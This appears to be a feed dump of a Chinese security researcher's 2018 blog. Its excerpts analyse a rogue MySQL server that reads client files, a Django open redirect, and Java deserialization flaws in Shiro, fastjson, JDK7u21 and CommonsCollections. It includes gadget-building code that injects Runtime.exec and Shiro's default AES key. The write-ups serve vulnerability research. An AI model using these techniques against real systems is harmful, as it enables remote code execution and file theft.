lightless blog - 2018年
type: channel
link: https://lightless.me/2018/
description: 弱小和无知不是生存障碍，傲慢才是。
items: How To Designing A Faster Than Faster GitHub Monitoring System
items: 此内容被密码保护
items: Read MySQL Client's File
items: [CVE-2018-14574] Django Open redirect possibility in CommonMiddleware
items: [Java unserialization] Apache Shiro <= 1.2.4 反序列化漏洞分析
items: [Java unserialization] fastjson <= 1.2.24 反序列化漏洞分析
items: [Java unserialization] JRE8u20 反序列化漏洞分析
items: [Java unserialization] JDK7u21 反序列化漏洞分析
items: [Java unserialization] ApacheCommonsCollections 反序列化漏洞分析
items: [Java unserialization] Spring-tx.jar反序列化漏洞分析

How To Designing A Faster Than Faster GitHub Monitoring System
type: item
date: 2018-12-03T13:32:00+00:00
description: 0x00 为什么需要这样的系统 近些年来，特别是2018年，各种不同的Github监控工具层出不穷，究其原因，还是每家企业生怕安全意识不足的员工将内部代码、账号信息上传至Github中，导致一些严重的安全问题，很有可能我们费劲千辛万苦构筑的边界防线，就被一个开发人员轻松的打破了。 GEYE GITHUB 传送门 目前市面上有许多种Github监控工具以及系统，有命令行的，有带界面的，有直接爬Github搜索页面的，也有借用API来搜索的，经过一些调研，发现各有特色，但是对于“开箱即用”等要求上，可能略有些距离。 本人在上家公司时，也曾负责过Github监控系统的开发与运营，经过很长时间的摸索，也总结了一些经验以及思路，并实现出了本文的主角GEYE监控系统（Github Eye）。在之前公司，Github监控系统应该说是经历了多次迭代，从最早的单文件脚本，逐步升级成了一个可视化的精确Github信息捕获系统，也多次先于白帽子发现了Github上的敏感信息，以及很多没有被外部发现的敏感信息。最快可在敏感信息被上传15分钟内捕获发现。 0x01 简谈设计思路 1. 整体设计思路 整体思路其实非常简单，就像把大象放到冰箱里一样，只有三步： 从Github获取我们感兴趣的信息 人工/自动筛选、过滤 入库并通知相关人员/系统 但是在每一步中，我在实现的时候，均会遇到一些比较坑的问题，也选取了不同的方案做了一些实验，最终得到了一个比较符合我预期的最佳方案，下面来简单介绍一下。 2. 获取信息 监控的第一步当然是要获取信息，获取信息的方式有很多，目前开源的监控系统里，有直接使用爬虫爬取搜索页面的，也有调用API的，当然我这里推荐的做法是调用官方的API来获取原始数据，说实话我不是很理解一些项目中通过直接爬取搜索页面获取数据的方式，也没有想到这样做有什么优势，甚至印象中好像还有某个项目为了避开Github的爬虫来源IP检测，还用Nginx搭建了一个反向代理集群来解决。所以我认为直接爬取搜索页面不是一个十分优雅的做法。 那么我们就剩下一条路可以选了，那就是利用Github提供的APIv3来获取原始数据。因为目前APIv4还不支持搜索代码，如果未来支持了，GEYE也许会切到APIv4上。 我们先来看一下搜索代码的API文档：https://developer.github.com/v3/search/#search-code 怎么用这里就不说了，相信大家都会用，我们只说一说需要注意的问题。首先这个q参数就是我们想查询的关键字，比较好理解，但是我们除了要添加关键字之外，还要额外添加一些参数，那就是fork，这个参数是用来指定“是否搜索fork”仓库的，如果这个值为true，那么这个接口会返回来自fork的仓库的数据，如果某个很著名的仓库（例如fastjson）中命中了你的关键字，那么你可能会拿到无数的重复信息，这不是我们希望看到的；我们希望的是尽可能多的获取不同仓库的信息，而不是同样的内容返回一万遍。 另外一点，我们其实希望尽可能快的获取到“新鲜”的泄露信息，所以我们还要修改这个接口的默认排序方式。默认情况下，Github会为我们返回最匹配的结果，无论这个代码是什么时候被上传的。所以我们需要指定sort参数。 结合起来，我们最后的请求参数可能是这样的：/code/search?q=keyword+fork:false&sort=indexed 说完关键字之后，应该就可以开始写爬虫调用API了，但是这里还有一点，Github为了防止我们滥用API，会有频率限制。正常情况下，每个Personal Access Token的频率是每分钟可以请求30次API接口，如果调用过快，会触发滥用警告，就是会限制你的token 1分钟。如果是通过OAuth2授权的App级别的token，请求上限会高很多。 基于这样的限制，我们没必要去优化我们的爬虫让他爬的很快，因为同样时间下，调用的频率是被限制好的。我们只需要利用普通的多线程爬虫获取数据即可。 3. 筛选信息 当我们将数据取回后，就需要决定哪些数据需要被人工确认，或是直接确认，哪些数据需要被丢弃。当然一股脑的将所有代码全都交给人工来判断也不是不可以，只要你的精力足够。 我们当然希望系统能够自动帮我们过滤掉一些无用的数据才好，我们人工只关心最有可能是泄露的部分，那么这就要考验我们的筛选模块了。 一开始，我是以API接口返回的代码段作为“基础值”，来进行过滤的，但是后来发现，接口返回的代码段里，其实并不会完全包含你的关键字。举个例子，比如你搜索的是corp.lightless.me，但是返回的代码段中，可能更多的是包含了corp、lightless、me三个分开的单词的结果，这也为我们过滤信息造成了一定的困扰。 再举一个…

此内容被密码保护
type: item
date: 2018-11-12T05:54:00+00:00
description: 请输入密码访问

Read MySQL Client's File
type: item
date: 2018-09-06T01:19:13+00:00
description: 这应该是一个比较老的问题了，前几天看到其他人聊到这个问题，拿出来分析一下。 简单的讲，就是我们可以伪造一个MySQL的服务端，甚至不需要实现MySQL的任何功能（除了向客户端回复greeting package），当有客户端连接上这个假服务端的时候，我们就可以任意读取客户端的一个文件，当然前提是运行客户端的用户具有读取该文件的权限。 在复现的时候，有些地方踩到了一些坑，原作者没有说明，特此记录一下。 0x00 LOAD DATA INFILE 这个问题主要是出在LOAD DATA INFILE这个语法上，这个语法主要是用于读取一个文件的内容并且放到一个表中。通常有两种用法，分别是： load data infile "/data/data.csv" into table TestTable; load data local infile "/home/lightless/data.csv" into table TestTable; 有时候也会与FIELDS TERMINATED BY '\n'一起使用，效果更佳。这两种用法的区别就是差了一个local，第一个SQL语句的意思是，读取服务器上/data/data.csv文件，并写入到TestTable中；第二个SQL语句的意思则是，读取本地（客户端）这边的/home/lightless/data.csv文件，并写入到TestTable中。而我们这次要利用的也就是LOAD DATA LOCAL INFILE这种形式。 通过查阅MySQL的官方文档，在文档上，官方也指出了这个语法的问题： 那么接下来，我们来看下如何构造一个恶意的MySQL服务端来读取客户端的文件。 0x01 Capture The Package 如果想构造这样的服务端，首先要搞明白MySQL的交互流程，测试环境如下： Ubuntu 18.04 MySQL官方APT仓库安装的5.7.23 通过Wireshark抓取3306端口的数据包，一开始发现MySQL的数据包全部走了SSL通信。 仅有一开始的两个MySQL的包，后面全是SSL数据了，这样也就没法搞明白是怎么读客户端文件的了。我们需要把SSL关掉，只需要关闭MySQL Client端的SSL即可，在配置文件的[mysql]节添加skip_ssl（或者关掉服务端的SSL支持也可以）： 这样Wireshark中就可以抓到正常的数据包了。会发现一共有这样几步： greeting包，获取服务端的banner； 登录请求包； 初始化的一些查询，比如select @@version_comment limit 1之类的； 接下来我们找到关键的LOAD DATA INFILE数据包，第一个包看起来比较正常，是客户端发起的Request Query，如果你无法使用LOAD DATA INFILE语法的话，考虑在连接MySQL的时候加上--enable-local-infile选项，或者设置local_infile全局变量为ON 但是紧接着，服务端回复了一个包含刚刚请求中文件名的包，这里把/etc/passwd又给发回去了： 然后客户端向服务端发送了/etc/passwd文件的内容： 看到这里，也许开始有点想法了，如果我们在客户端发送查询之后，返回一个Response TABULAR数据包，并附上我们指定的文件，是不是就可以读取客户端的文件了，答案是肯定的。正如官方文档中提出的安全风险，"In theory, a patched server could be built that would tell the client program to transfer a file of the server's choosing rather than the file named by the client in the LOAD DATA statement."，可以看到，客户端读取哪个文件其实并不是自己说了算的，是服务端说了算的，形象一点的说就是下面这个样子： 客户端：hi~我将把我的data.csv文件给你插入到test表中！ 服务端：OK，读取你本地data.csv文件并发给我！ 客户端：这是文件内容：balabal！ 正常情况下，这个流程不会有什么问题，但是如果我们制作了恶意的客户端，并且回复服务端任意一个我们想要获取的文件，那么情况就不一样了。 客户端：hi~我将把我的data.csv文件给你插入到test表中！ 服务端：OK，读取你本地的/etc/passwd文件并发给我！ 客户端：这是文件内容：balabal（/etc/passwd文件的内容）！ 看到这里可能有同学会问，“即便可以读任意文件，那也要等到客户端发起LOAD DATA INFILE”的时候才能回复呀！…

[CVE-2018-14574] Django Open redirect possibility in CommonMiddleware
type: item
date: 2018-08-03T04:25:00+00:00
description: 今天在刷RSS的时候看到了Django发了个新版本，修了个CVE，然后简单的看了下。 先放上release note和github的commit。 https://www.djangoproject.com/weblog/2018/aug/01/security-releases/ https://github.com/django/django/commit/a656a681272f8f3734b6eb38e9a88aa0d91806f1 看描述是修复了一个CommonMiddleware+APPEND_SLASH选项的任意URL跳转，根据github上修改的几个文件，可以看出来，主要变动是在django/middleware/common.py这个文件中，对获取到的path进行了一次编码。 众所周知，漏洞中提到的这个APPEND_SLASH的选项，默认为True，且默认没有在settings.py中显示的设置。这个设置的作用也比较简单，当请求的URL在路由表中无法匹配时，并且请求的URL末尾不是以/结尾的，那么Django会自动在请求的URL末尾添加一个/，并且再次匹配路由表，然后进行正常的处理流程； 也就是说，在这个过程中，会发生一次跳转，那么这个任意URL跳转漏洞应当也是在这块出现的，我们新建一个Django项目，使用2.0.7版本。 urls.py from django.urls import path from vuln.views import VulnView urlpatterns = [ path("<path:jump_url>/", VulnView.as_view(), name="vuln_view"), ] views.py from django.views import View from django.http import HttpResponse class VulnView(View): def get(self, request, jump_url): return HttpResponse(jump_url) 然后我们在CommonMiddleware这个类中的process_request方法下断： 然后请求http://localhost:8000//lightless.me，注意末尾不能加/，调试的时候建议将浏览器的cache关掉，否则会影响我们调试。 向下走会遇到一个should_redirect_with_slash方法，这个方法是用来判断上面提到过的逻辑：是否需要添加/后重新匹配路由表，如果需要添加，会继续调用self.get_full_path_with_slash方法，实际上就是对request.get_full_path的一层封装。 然后我们会拿到处理过后的path//lightless.me/，接着就会将这个path传给self.response_redirect_class方法，这个实际上就是用来处理重定向的一个类。 跟进之后，会看到在这里设置了Response的Location属性为前面得到的path，并且设置了状态码为301 虽然这里会检查跳转目标URL的协议，但是并没有什么用，这里的scheme不存在，自然是可以绕过这个限制，后面就是正常跳转流程。 让程序继续跑下去，回过来看浏览器，页面已经跳走了。 整个流程还是比较简单的，但是利用条件也比较苛刻，可能会在一些大型的CMS或其他的系统中出现吧，例如某些CMS会接管Django的路由并且使用自己的路由系统，感觉可能也不太常见。通常情况下我们的路由很有可能是写成这个样子： path('vuln/<path:jump_url>/', VulnView.as_view(), name="vuln_view"), 很有可能中间还会有个路径，而不是直接就接收参数，这种情况下我目前还没有想到好的利用方法。

[Java unserialization] Apache Shiro <= 1.2.4 反序列化漏洞分析
type: item
date: 2018-07-20T06:48:54+00:00
description: 0x00 Apache Shiro 这个组件的漏洞应该算是很久很久之前就爆出来了，但是最近工作中又遇到了，刚好最近也在看Java反序列化的东西，所以决定拿出来再分析一下，期间也遇到了一些奇怪的问题。 网上的分析文章中大部分都是手动添加了commons-collections4-4.0的依赖，目的是为了使用ysoserial生成的CommonsCollections2这个payload，然而我遇到的情况是使用了CommonsBeanutils1就可以直接打成功，所以这里我们不再重复网上对CommonsCollections2的分析了。 0x01 调试分析 调试环境： JDK 1.8.0_72 Tomcat 8.0.30 首先我们把shiro的源码clone回来，并切到有问题的分支上去。 git clone https://github.com/apache/shiro.git shiro-root cd shiro-root git checkout 1.2.0 为了能让shiro自带的sample跑起来，要对samples/web/pom.xml文件做一些修改，需要将jstl的版本改为1.2，并且删掉servlet-api的scope字段。同时将jstl-1.2.jar放置在WEB-INF/lib下面。然后应该就可以跑起来并且调试了。 我们将断点打到org.apache.shiro.mgt.DefaultSecurityManager中的resolvePrincipals方法，并且发送一个带有rememberMe Cookie的请求，应该就可以断下来了。 我们继续跟进这个getRememberedIdentity方法： 继续一直跟到getRememberedSerializedIdentity方法： 在这个方法中，读出了我们传入的Cookie，并且进行了base64解码： 接下来shiro会调用convertBytesToPrincipals并将base64解码后的字节数组作为参数传入： 这里通过函数名也能猜出来，进行了两个操作，分别是解密和反序列化，我们先来看解密部分，经过简单的调试后，发现是一个AES解密，并且存在一个预设秘钥Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");，在shiro自带的sample中，并没有通过其他的方式设置这个秘钥，所以这里用的就是这个预设值。 而AES解密中遇到的IV也是从我们传入的Cookie中的前几个字节中获取的，于是我们可以轻易的构造出包含任意内容的Cookie值，解密好的明文就是序列化的内容，调用了deserialize进行反序列化。 最终会调用到org.apache.shiro.io.DefaultSerializer#deserialize方法进行反序列化： 整个流程十分简单，简要概括一下就是：读取cookie -> base64解码 -> AES解密 -> 反序列化 所以我们的payload构造起来也是十分的简单，完整的PoC我会放到我的GitHub上。 0x02 疑点解惑 在调试的过程中，遇到了一些问题，并没有成功的弹出计算器，这里记录一下。 1. 为什么本地搭建环境，使用CommonsBeanutils1打不成功，总是提示ClassNotFound异常？ 这个问题我当时调试了好久，一度以为是payload有问题或者shiro的代码因为年代久远有了变化，因为当时遇到的case就是这个payload一发入魂的，表示十分的迷茫。后来发现了关键问题，我们从github上clone到的sample中，commons-beanutils这个依赖的版本是1.8.3，而ysoserial生成的payload的版本是1.9.2，所以在默认的sample中是无法打成功的。于是我修改版本号到1.9.2，一发入魂。 所以遇到的那个案例中，实际的依赖环境版本可能也是这样的吧，所以才能直接打成功。 2. 假如我的依赖中就是没有高版本的commons-beanutils和commons-collections之类的包，怎么利用？ 这个项目clone下来之后，可以看到是存在一个commons-collections的包的： 但是使用ysoserial提供的CommonsCollections1是无法成功的，会爆出一个异常： 这就十分的奇怪了，为什么偏偏无法反序列化byte array类型，调试了一下发现是在这里抛出的异常： 查了一下Java中Class.forName()以及ClassLoader.loadClass()的区别，发现forName()总是使用调用者的ClassLoader()，而loadClass()则是可以自己指定一个不同的ClassLoader。那shi…

[Java unserialization] fastjson <= 1.2.24 反序列化漏洞分析
type: item
date: 2018-07-20T06:47:23+00:00
description: 0x00 fastjson fastjson是一个非常流行的库，可以将数据在JSON和Java Object之间互相转换，但是在2017年官方主动爆出了fastjson的反序列化漏洞以及升级公告，这次我们就学习一下这个漏洞。 最终的payload会放到我的GitHub上。 这次使用的fastjson是1.2.23版本： <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.23</version> </dependency> 在分析漏洞之前，我们先看下这个库都有什么样的功能，我们先创建一个User对象： class User { private int age; public String username; private String secret; public int getAge() { return age; } public void setAge(int age) { this.age = age; } public String getUsername() { return username; } public void setUsername(String username) { this.username = username; } public String getSecret() { return secret; } } 我们主要关注一下从JSON还原回Object的方法，主要的API有两个，分别是JSON.parseObject和JSON.parse，最主要的区别就是前者返回的是JSONObject而后者返回的是实际类型的对象，当在没有对应类的定义的情况下，通常情况下都会使用JSON.parseObject来获取数据。 fastjson接受的JSON可以通过@type字段来指定该JSON应当还原成何种类型的对象，在反序列化的时候方便操作。 String myJSON = "{\"@type\":\"me.lightless.fastjsonvuln.User\",\"age\":99,\"username\":\"lightless\",\"secret\":\"2333\"}"; JSONObject u3 = JSON.parseObject(myJSON); System.out.println("u3 => " + u3.get("secret")); 如果需要还原出private成员的话，还需要加上Feature.SupportNonPublicField： User u3 = (User) JSON.parseObject(myJSON, User.class, Feature.SupportNonPublicField); 0x01 跟踪分析 根据官方的公告中的WAF检测方法来看，问题很有可能是因为反序列化了任意类型的class从而导致的RCE。 从网上找到的payload中也能看出利用的是TemplatesImpl来执行的命令，这个在之前的JDK7u21中已经分析过了，可能还存在其他的执行命令方法，这些我们暂且不谈，主要来看fastjson的部分。 我们搭建一个简单的Web应用来接受用户POST过来的JSON并且进行反序列化： @RestController public class IndexController { @RequestMapping(value = "/fastjson", method = RequestMethod.GET) public String fastjson() { return "Hello World!"; } @RequestMapping(value = "/fastjson", method = RequestMethod.POST) public JSONObject testVuln(@RequestBody String data) { JSONObject obj = JSON.parseObject(data, Feature.SupportNonPublicField); JSONObject ret = new JSONObject(); ret.put("code", 1001); ret.put("data", "Hello " + obj.get("name")); return ret; } } 传入我们带有@type类型的JSON字符串并且开始调试。在JSON.parseObject处下断并开始向下跟。 一开始会跟进到JSON.parse方法，并且调用了parse()方法继续进行JSON格式…

[Java unserialization] JRE8u20 反序列化漏洞分析
type: item
date: 2018-07-20T06:44:58+00:00
description: 这篇又是一个升华，之前在第一篇文章中我们简单的讲了一下Java的序列化机制，即通过ObjectOutputStream和ObjectInputStream来实现序列化和反序列化，但是内部的机制和原理一并跳过了。 0x00 TLDR 之前在第一篇文章中我们简单的讲了一下Java的序列化机制，即通过ObjectOutputStream和ObjectInputStream来实现序列化和反序列化，但是内部的机制和原理一并跳过了。 JRE8u20这个漏洞是其他人在之前的JDK7u21的基础上进行改进得到了，他绕过了JavaSE后续对AnnotationInvocationHandler类的修复，阻止了这个类反序列化任意类型的对象。 在研究JRE8u20这个漏洞之前，我们有必有对Java的序列化机制进行深入研究了。 0x01 Java序列化机制 关于Java的序列化格式以及协议字段释义可以参考这篇文档，如果想要深入学习序列化机制，强烈建议仔细阅读这篇文档，我们先通过代码来看一下序列化格式： class AuthClass implements Serializable { private static final long serialVersionUID = 100L; private String password; public AuthClass(String password) { this.password = password; } private void readObject(ObjectInputStream ois) throws Exception { ois.defaultReadObject(); if (!this.password.equals("root")) { throw new Exception("Wrong Password."); } } } // 序列化的时候写两次 AuthClass authClass = new AuthClass("123456"); ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("/tmp/authClass.bin")); oos.writeObject(authClass); oos.writeObject(authClass); oos.close(); 将这个类序列化后，得到的内容如下： 00000000: aced 0005 7372 0027 6d65 2e6c 6967 6874 ....sr.'me.light 00000010: 6c65 7373 2e64 6573 6572 6961 6c69 7a65 less.deserialize 00000020: 2e76 756c 6e2e 4175 7468 436c 6173 7300 .vuln.AuthClass. 00000030: 0000 0000 0000 6402 0001 4c00 0870 6173 ......d...L..pas 00000040: 7377 6f72 6474 0012 4c6a 6176 612f 6c61 swordt..Ljava/la 00000050: 6e67 2f53 7472 696e 673b 7870 7400 0631 ng/String;xpt..1 00000060: 3233 3435 36 23456 分析文件的时候，推荐借助SerializationDumper来分析，由于SerializationDumper会帮我们加上一些原本没有的数据帮助我们理解，所以还是需要借助原始的十六进制字节来辅助研究。 前面说过了序列化后的字节流其实是有一些格式的，在我们开始阅读这些字节之前，需要先看几个常用的格式。 TC_STRING，这个表示的是一个字符串，格式如下： TC_STRING newHandle length(2 bytes) value TC_STRGIN 00 08 70 61 73 73 77 6f 72 64 其实newHandle是不会写入文件中的（后面的newHandle同理，也没有实际写入文件），但是在反序列化的时候确实会实际分配这样的4个字节，具体作用后面再看。 TC_OBJECT，表示一个对象，格式如下： TC_OBJECT classDesc newHandle classdata[] classDesc是一个TC_CLASSDESC结构，classdata[]就是对象中实际的数据。 TC_CLASSDESC，是一个用来描述类的结构，主要包括类的名称、有几个成员、每个成员的类型以及成员名等信息。 TC_CLASSDES…

[Java unserialization] JDK7u21 反序列化漏洞分析
type: item
date: 2018-07-20T06:41:08+00:00
description: 这篇文章应当是对Java反序列化漏洞理解的一个分界点吧。。。 0x00 TLDR 在上一次研究ApacheCommonsCollections的时候，由于本地的JRE环境是1.8，导致无法复现网上各位大佬提供的payload，但是在查找资料的过程中发现了ysoserial这个项目，简单的讲就是一个Java反序列化漏洞的利用框架，其中集成了很多针对不同框架的payload。在使用这个框架的过程中，发现了一个JDK7u21的payload，利用的是JDK本身的漏洞，但是如名称所言，这个只在JDK7u21及以前的版本中生效，在经过了多天的调试分析后，发现这个漏洞利用流程非常巧妙复杂，有很多值得学习的地方，漏洞作者也写出了一份writeup放在了gist上。 本以为这个漏洞看起来十分简单，但是实际调试起来却非常困难，足足让本菜鸡调了好几天才彻底搞明白，有一部分也是因为不熟悉Java的某些特性造成的，所以想要学习到东西还是要亲手尝试一下，只是拜读其他大佬的文章并没有什么用，而且总结成文也是再次加深了对漏洞的理解，毕竟想要给大家讲明白就需要自己先搞明白。 纸上得来终觉浅，绝知此事要躬行。 0x01 动态生成Java代码 在着手分析之前，我们先来学习一下前置技能。在这个PoC中，作者通过javassist来动态生成了恶意的gadgets，用来触发命令执行。 public static TemplatesImpl createTemplatesImpl(final String command) throws Exception { // 利用TemplatesImpl类来触发恶意的bytescode final TemplatesImpl templates = new TemplatesImpl(); // 获取容器ClassPool，注入classpath ClassPool pool = ClassPool.getDefault(); System.out.println("insertClassPath: " + new ClassClassPath(StubTransletPayload.class)); pool.insertClassPath(new ClassClassPath(StubTransletPayload.class)); // 获取已经编译好的类 System.out.println("ClassName: " + StubTransletPayload.class.getName()); final CtClass clazz = pool.get(StubTransletPayload.class.getName()); // 在静态的的构造方法中插入payload clazz.makeClassInitializer() .insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") + "\");"); // 给payload类设置一个名称 // unique name to allow repeated execution (watch out for PermGen exhaustion) clazz.setName("ysoserial.Pwner" + System.nanoTime()); // 获取该类的字节码 final byte[] classBytes = clazz.toBytecode(); // inject class bytes into instance Reflections.setFieldValue( templates, "_bytecodes", new byte[][] { classBytes, ClassFiles.classAsBytes(Foo.class) }); // required to make TemplatesImpl happy Reflections.setFieldValue(templates, "_name", "Pwnr"); Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); // 只要触发这个方法就能执行我们注入的bytecodes // templates.getOutputProperties(); return templates; } 相关的说明在注释中已经给出了，通过精心构造一个TemplatesImpl对象，并且想办法触发该对象的getOutputPropertites()方法，就能执行我们构…

[Java unserialization] ApacheCommonsCollections 反序列化漏洞分析
type: item
date: 2018-07-20T06:36:46+00:00
description: 0x00 CommonsCollections 上篇文章讲道了Spring-tx组件出现的问题，通过构造RMI和JNDI来供服务端下载恶意class并通过反序列化进行RCE，这次研究一下另外一种漏洞，利用Java的反射机制来执行任意命令，并且通过反序列化来进行RCE。本次分析的漏洞则是2015年出现的Apache-commons-collections组件出现的反序列化问题，这个包为Java提供了很多基础常用且强大的数据结构，方便开发。 0x01 TransformedMap 看网上的大佬们说这次出现的问题是由于TransformedMap和InvokerTransformer造成的。 TransformedMap这个类是用来对Map进行某些变换用的，例如当我们修改Map中的某个值时，就会触发我们预先定义好的某些操作来对Map进行处理。 Map transformedMap = TransformedMap.decorate(map, keyTransformer, valueTransformer); 通过decorate函数就可以将一个普通的Map转换为一个TransformedMap。第二个参数和第三个参数分别对应当key改变和value改变时需要做的操作；Transformer是一个接口，实现transform(Object input)方法即可进行实际的变换操作，按照如上代码生成transformedMap后，如果修改了其中的任意key或value，都会调用对应的transform方法去进行一些变换操作。 如果想要进行一系列的变换操作，可以通过定义一个ChainedTransformer来实现，只需要传入一个Transformer数组即可： Transformer[] transformers = new Transformer[] { new ConstantTransformer(...), new InvokerTransformer(...) }; Transformer chainedTransformer = new ChainedTransformer(transformers); Map transMap = TransformedMap.decorate(rawMap, null, chainedTransformer); CommonCollections也已经内置了许多常见的transformer，无需手工编写，其中有一个InvokerTransformer十分有趣，可以通过反射的方式去调用任意的函数，也是我们执行命令的关键。 0x02 Run exec 在Java中执行命令一般通过Runtime.getRuntime().exec("command")来执行命令，如果我们想在修改transformedMap时执行命令，就需要构造一个特殊的ChainedTransformer来反射出exec函数。 在构造之前，我们要先看一下ChainedTransformer和InvokerTransformer是如何工作的，下面的代码会触发chainedTransformer开始进行变换： Map normalMap = new HashMap(); normalMap.put("foo", "bar"); Map transformMap = TransformedMap.decorate(normalMap, transformChain, transformChain); Map.Entry entry = (Map.Entry) transformMap.entrySet().iterator().next(); entry.setValue("test"); 最终会调用到org/apache/commons/collections/functors/ChainedTransformer.class中的transform方法。 可以看到这个链中，会将上一次变换的结果作为下一次变换的输入，直到所有的变换完成，并返回最终的object，很容易理解，就不过多赘述了。 下面来看下InvokerTransformer的关键代码 关键部分在于通过getClass()、getMethod、invoke()来进行反射，查找并调用给定的方法。 在我们构造的chain中，最终实现的应当是执行类似于 ((Runtime) Runtime.class.getMethod("getRuntime").invoke()).exec("ifconfig") 这样的代码，所以chain的第一步就是获取Runtime类，可以通过内置的ConstantTransformer来获取，所以chain现在是这个样子： Transformer[…

[Java unserialization] Spring-tx.jar反序列化漏洞分析
type: item
date: 2018-07-20T06:33:00+00:00
description: Java反序列化的相关知识也学习了一些了，由于这是学习反序列化时的第一篇文章，其中有某些概念也时理解的半知不解，但是后面随着深入学习，一些东西也变得明朗了起来，现在回过头来看有些点可能还是有些问题，打算后续重新整理下这些文章，温故知新；这一系列的文章也全部发表到了MLSRC的公众号上，现在也先发到自己的博客上吧； 0x00 反序列化 之前对Java一直不太熟悉，不怎么接触Java安全，不了解Java中序列化与反序列化的一些机制，导致很多Java相关的RCE都看不懂，只知道拿来就用，想了想还是要深入了解一下比较好。 在PHP中我们可以通过serialize和unserialize来进行序列化相关的操作，到了Java的世界里，就没有这么直白的函数可以用了，相关的两个函数分别是： 序列化: ObjectOutputStream.writeObject() 反序列化: ObjectInputStream.readObject() 我们先来看一下最基本的序列化方式： package me.lightless.base; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; /** * Package: me.lightless.base * Author: lightless <root@lightless.me> * Date: 2018/3/29 */ public class Base { public static void main(String[] args) throws Exception { String hello = "Hello World!"; // 序列化并写入文件payload.bin ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("payload.bin")); objectOutputStream.writeObject(hello); objectOutputStream.close(); // 从文件payload.bin中读取数据并反序列化 ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("payload.bin")); String value = (String)objectInputStream.readObject(); objectInputStream.close(); System.out.println("Read value from file: " + value); } } 通过ObjectOutputStream和ObjectInputStream就可以完成最基础的序列化操作。如果想要序列化一个class，那么会稍微复杂一些，需要自己实现Serializable接口，只有实现了这个接口的类才能被序列化，来看一个简单的例子； package me.lightless.base; import java.io.*; /** * Package: me.lightless.base * Author: lightless <root@lightless.me> * Date: 2018/3/29 */ public class ClassBase { public static void main(String[] args) throws Exception { VulnObject vulnObject = new VulnObject(); vulnObject.value = "new_value"; // 序列化并写入文件payload.bin ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("payload.bin")); objectOutputStream.writeObject(vulnObject); objectOutputStream.close(); // 从文件payload.bin中读取数据并反序列化 ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("payload.bin")); …